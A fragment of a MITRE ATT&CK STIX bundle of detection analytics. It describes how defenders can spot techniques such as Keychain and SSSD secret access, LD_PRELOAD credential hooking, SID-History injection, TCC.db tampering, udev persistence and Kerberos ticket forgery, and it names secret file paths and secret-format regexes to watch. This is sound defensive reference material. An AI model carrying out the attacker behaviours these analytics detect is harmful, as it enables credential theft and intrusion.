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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions"
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            ],
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                {
                    "field": "AllowedKeyLengths",
                    "description": "Defines the minimum acceptable encryption key sizes; tunable to organizational policy."
                },
                {
                    "field": "CipherSuiteBaseline",
                    "description": "Baseline list of approved cipher suites for network sessions; deviations may indicate tampering."
                },
                {
                    "field": "AuthorizedAdminAccounts",
                    "description": "Whitelisted accounts for executing crypto configuration changes; ensures alerts only trigger on unauthorized actions."
                },
                {
                    "field": "TimeWindow",
                    "description": "Time correlation period between configuration change and anomalous traffic downgrade; adjustable to reduce noise."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 0943",
            "description": "Detects creation of scheduled tasks via `at.exe` or WMI `Win32_ScheduledJob` class, followed by execution of anomalous processes by svchost.exe or taskeng.exe.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "field": "ProcessAllowlist",
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                    "name": "Internet Scan",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "large transfer from management IPs to unauthorized host"
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            "x_mitre_domains": [
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "saas:okta",
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            ],
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                {
                    "field": "IntegrationScope",
                    "description": "Tune to ignore known enterprise bots with message-read access (e.g., DLP scanners)"
                },
                {
                    "field": "RegexPatterns",
                    "description": "Customizable regex for detecting secret formats (JWT, OAuth tokens, SSH keys)"
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                    "field": "UserContext",
                    "description": "Correlate with user role to filter developers vs standard users"
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        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0495",
            "description": "Detects exploitation attempts against macOS authentication frameworks such as OpenDirectory or Keychain. Defender perspective includes abnormal crashes in opendirectoryd, unauthorized Keychain API usage, and unusual sudo or login events. Correlation links unexpected process behavior with credential access anomalies.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                    "name": "macos:osquery",
                    "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs"
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            ],
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                {
                    "field": "WatchedAPIs",
                    "description": "List of authentication and Keychain-related APIs to monitor for unauthorized access."
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                {
                    "field": "CrashCorrelationWindow",
                    "description": "Time window for correlating authentication service crashes with subsequent suspicious access."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--bb3daf14-f237-4688-a319-a4d7570e407e",
            "created": "2025-10-21T15:10:28.402Z",
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detects unauthorized firmware or configuration changes enabling adversary-in-the-middle positioning (e.g., route injection, DNS spoofing, SSL downgrade). Behavioral analytics focus on sudden changes to routing tables or image file integrity failures.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "field": "ApplicationProfileBaseline",
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                    "field": "EncryptionRoutinePattern",
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                    "channel": "log stream --predicate 'eventMessage contains \"python\"'"
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                {
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                    "description": "Some uploads may appear benign unless enriched with user/role metadata."
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                {
                    "field": "TimeWindow",
                    "description": "Correlate between file rename and immediate execution"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
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                    "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Defines the correlation window to link suspicious PowerShell activity, gpresult execution, and LDAP enumeration."
                },
                {
                    "field": "UserContext",
                    "description": "Identifies accounts expected to perform GPO enumeration (administrators vs. standard users)."
                },
                {
                    "field": "CommandLinePatterns",
                    "description": "Patterns for detecting suspicious gpresult or PowerShell cmdlets; tunable to reduce noise in environments where these tools are common."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--bf64c48c-5834-426c-be21-6db0efbc7909",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0469#AN1293",
                    "external_id": "AN1293"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1293",
            "description": "Defenders may observe adversary attempts to patch system images by monitoring for anomalous file transfers (TFTP, SCP, FTP) of image files, unauthorized CLI commands altering boot system variables, integrity check mismatches between running and baseline OS images, and runtime memory manipulation attempts. Suspicious sequences include uploading a new image, modifying boot parameters, and subsequent reload/reboot of the device. In-memory patching attempts may manifest as debug commands or boot loader manipulation inconsistent with normal administrative activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "networkdevice:config",
                    "channel": "Configuration changes to startup image paths, boot loader parameters, or debug flags"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
                    "name": "firmware:runtime",
                    "channel": "Debug or memory access commands indicating attempts to alter OS instructions in memory"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ApprovedFirmwareVersions",
                    "description": "Whitelist of validated vendor OS versions; deviations may indicate tampering."
                },
                {
                    "field": "AuthorizedAdminAccounts",
                    "description": "Trusted admin accounts permitted to update images; anomalies suggest compromise."
                },
                {
                    "field": "ChecksumBaseline",
                    "description": "Baseline hash of approved images; used for detecting file tampering."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period for detecting chained behaviors (file upload \u2192 boot config change \u2192 reboot)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--bf6b3f42-a7a5-4e6d-840a-e892aa74916c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0031#AN0089",
                    "external_id": "AN0089"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0089",
            "description": "Execution of binaries with invalid digital signatures, where metadata claims code is signed but validation fails. Behavior is often correlated with suspicious parent processes or unexpected execution paths.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Windows Defender",
                    "channel": "Operational log"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SignatureValidationResult",
                    "description": "Allow tuning to include 'invalid', 'expired', or 'untrusted root' based on environment tolerance"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Helps tune false positives by limiting to suspicious parent process executions"
                },
                {
                    "field": "TimeWindow",
                    "description": "Defines correlation window between metadata check and process execution"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--bfc7e981-ca7e-4b1b-a692-65a8867a7a89",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0448#AN1241",
                    "external_id": "AN1241"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1241",
            "description": "Detects the redirection of syscall execution flow via modification of VDSO code stubs or GOT entries to load and execute a malicious shared object through mmap and ptrace.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace, mmap, mprotect, open, dlopen"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "auditd:memprotect",
                    "channel": "change from PROT_READ|PROT_WRITE to PROT_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "auditd:file-events",
                    "channel": "open of suspicious .so from non-standard paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "child process invoking dynamic linker post-ptrace"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousSharedObjectPathRegex",
                    "description": "Regex to filter dynamic library paths outside of `/lib`, `/usr/lib`, etc. (e.g., `/tmp`, `/dev/shm`)"
                },
                {
                    "field": "TimeWindow_PtraceToMmap",
                    "description": "Max delay allowed between ptrace attach and mmap/mprotect execution in target process"
                },
                {
                    "field": "ExecMemoryProtectionThreshold",
                    "description": "Flag when executable memory mappings deviate from normal runtime behavior"
                },
                {
                    "field": "AnomalousParentProcessList",
                    "description": "Parent processes unlikely to legitimately call ptrace (e.g., nginx, apache2, sshd)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c0055eb3-5579-48a8-b9d3-df6dd67bc388",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1202"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1202",
            "description": "Monitor email message traces and headers for failed SPF, DKIM, or DMARC checks indicating spoofed sender identities. Correlate abnormal sender domains or mismatched return-paths with elevated spoofing likelihood.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:messagetrace",
                    "channel": "AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SpoofScoreThreshold",
                    "description": "Defines sensitivity to SPF/DKIM/DMARC failures; higher thresholds reduce false positives but may miss stealthier spoofing."
                },
                {
                    "field": "MonitoredDomains",
                    "description": "Specifies which domains to enforce strict validation against; enterprise-specific tuning may be required."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c0195ab2-3c4e-41ce-a1e4-7e58118abeb4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0830#AN1962",
                    "external_id": "AN1962"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1962",
            "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c024ed9a-02bf-436d-93f5-444e45124e2f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0232",
                    "external_id": "AN0232"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0232",
            "description": "Adversary modifies ESXi host login banner or MOTD file (/etc/motd), either through SSH or host console access. May involve configuration file overwrite or API calls from compromised vSphere clients.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "ESXiLogs:messages",
                    "channel": "changes to /etc/motd or /etc/vmware/welcome"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:hostd",
                    "channel": "modification of config files or shell command execution"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LoginBannerFilePath",
                    "description": "Target file paths (e.g., /etc/motd) may be changed via symbolic link or override"
                },
                {
                    "field": "AccessOrigin",
                    "description": "ESXi hostd vs. SSH-based defacement origin may affect visibility"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c031c27b-4d05-406a-8538-04ce1df41d35",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0139#AN0390",
                    "external_id": "AN0390"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0390",
            "description": "Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "auditd:SYSCALL",
                    "channel": "LD_PRELOAD Logging"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "InjectedLibraryName",
                    "description": "Watch for user-defined suspicious .so files (e.g., libhook.so, libshadow.so)"
                },
                {
                    "field": "TargetProcessName",
                    "description": "Hooked binaries vary by use case (e.g., ssh, login, gdm)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c061d938-cafa-4e9d-8729-29d63ba633ad",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0136#AN0383",
                    "external_id": "AN0383"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0383",
            "description": "Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. This chain involves: (1) privileged operations or API calls to DsAddSidHistory or related AD modification functions, (2) observed attribute changes in SID-History (Event ID 5136), (3) new logon sessions where the token includes unexpected or privileged SID-History values, and (4) follow-on resource access using elevated privileges derived from SID-History injection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5136"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720, 4738"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-Directory-Services-SAM",
                    "channel": "api_call: Calls to DsAddSidHistory or related RPC operations"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedSIDHistoryChanges",
                    "description": "Approved migration windows or known SID-History population events."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between attribute change and suspicious logon activity (default 15\u201330 minutes)."
                },
                {
                    "field": "PrivilegedSIDList",
                    "description": "List of sensitive SIDs (e.g., Enterprise Admins, Domain Admins) that should never appear in SID-History."
                },
                {
                    "field": "UserContextFilter",
                    "description": "Exclude trusted migration service accounts or pre-approved administrative tasks."
                },
                {
                    "field": "AnomalousSIDCountThreshold",
                    "description": "Raise alerts when a token contains more than X SID-History entries (default X=2)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--c0766f2c-e282-44a1-8dcf-1575d77658da",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0534#AN1474",
                    "external_id": "AN1474"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1474",
            "description": "Unauthorized modification of TCC.db followed by elevated process execution under a trusted parent (e.g., Finder, SystemUIServer) or via launchctl environment override. Also includes identification of SIP being disabled, which is highly uncommon and a prerequisite for this abuse path.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "macos:unifiedlog",
                    "channel": "System Integrity Protection (SIP) state reported as disabled"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessName",
                    "description": "May vary across macOS versions and user contexts; defenders can tune for known benign cases."
                },
                {
                    "field": "TCCModificationPath",
                    "description": "Custom user paths or redirected SQLite DBs may require alternate matching logic."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal proximity between launchctl setenv and subsequent privileged access can be tuned."
                },
                {
                    "field": "SIPStateCheckInterval",
                    "description": "Frequency of SIP integrity checks may vary based on system hardening policies."
                }
            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0391#AN1097",
                    "external_id": "AN1097"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1097",
            "description": "Monitor for runtime data manipulations by detecting suspicious modification of application binaries, API hooking, or unexpected behavior from processes responsible for rendering or displaying data. Correlate registry edits, process creation, and unexpected binary hash mismatches.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
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            ],
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                    "field": "MonitoredPaths",
                    "description": "Directory paths of business-critical applications where runtime manipulations are most impactful."
                },
                {
                    "field": "HashBaseline",
                    "description": "Expected cryptographic hashes of application binaries used for runtime data display."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1445"
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            "name": "Analytic 1445",
            "description": "Detects attempts to forge or replay Kerberos tickets by monitoring Unified Logs for anomalous kinit/klist activity and correlating unusual authentication sequences.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
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                    "channel": "Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime"
                }
            ],
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                {
                    "field": "TicketRequestPatterns",
                    "description": "Expected sequence of TGT followed by TGS requests; deviations may indicate forgery."
                },
                {
                    "field": "TicketLifetime",
                    "description": "Expected ticket lifetimes; anomalies may indicate Golden or Silver Tickets."
                }
            ],
            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1100"
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            "name": "Analytic 1100",
            "description": "Adversary spawns a process or script to enumerate installed software using WMI, registry, or PowerShell, potentially followed by additional discovery or evasion behavior.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"
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            ],
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                    "field": "TimeWindow",
                    "description": "Detection may be scoped to multiple discovery commands within a short timeframe."
                },
                {
                    "field": "ParentProcess",
                    "description": "Tuning based on whether discovery activity stems from suspicious versus approved management tools."
                }
            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1444",
            "description": "Detects suspicious access to SSSD secrets database and Kerberos key material indicating ticket theft or replay attempts. Correlates anomalous file access with unusual Kerberos service ticket requests.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                    "channel": "Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
                    "name": "linux:syslog",
                    "channel": "Unusual kinit or klist activity"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SecretsAccessThreshold",
                    "description": "Alert threshold for frequency of access to Kerberos secrets files."
                },
                {
                    "field": "UnusualServiceAccounts",
                    "description": "Baseline accounts normally performing Kerberos requests; anomalies flagged."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "description": "Monitor for creation or modification of udev rules files in key directories (/etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/). Look for RUN+= or IMPORT keys invoking suspicious binaries or scripts. Correlate this with process execution from systemd-udevd context, and file writes near udev reload/restart events. Combine this with unexpected background process spawning from udevd-related forks.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "chmod, write, create, open"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:CONFIG_CHANGE",
                    "channel": "udev rule reload or trigger command executed"
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            ],
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                {
                    "field": "UdevRulePath",
                    "description": "Path to udev rules (may vary by distro or user configuration)"
                },
                {
                    "field": "SuspiciousRunPattern",
                    "description": "Regex or string pattern to flag suspicious command executions in RUN+="
                },
                {
                    "field": "TimeWindow",
                    "description": "Max interval between rule change and execution to correlate activity"
                },
                {
                    "field": "ParentProcess",
                    "description": "Expected parent of RUN-invoked commands (e.g., systemd-udevd)"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1101",
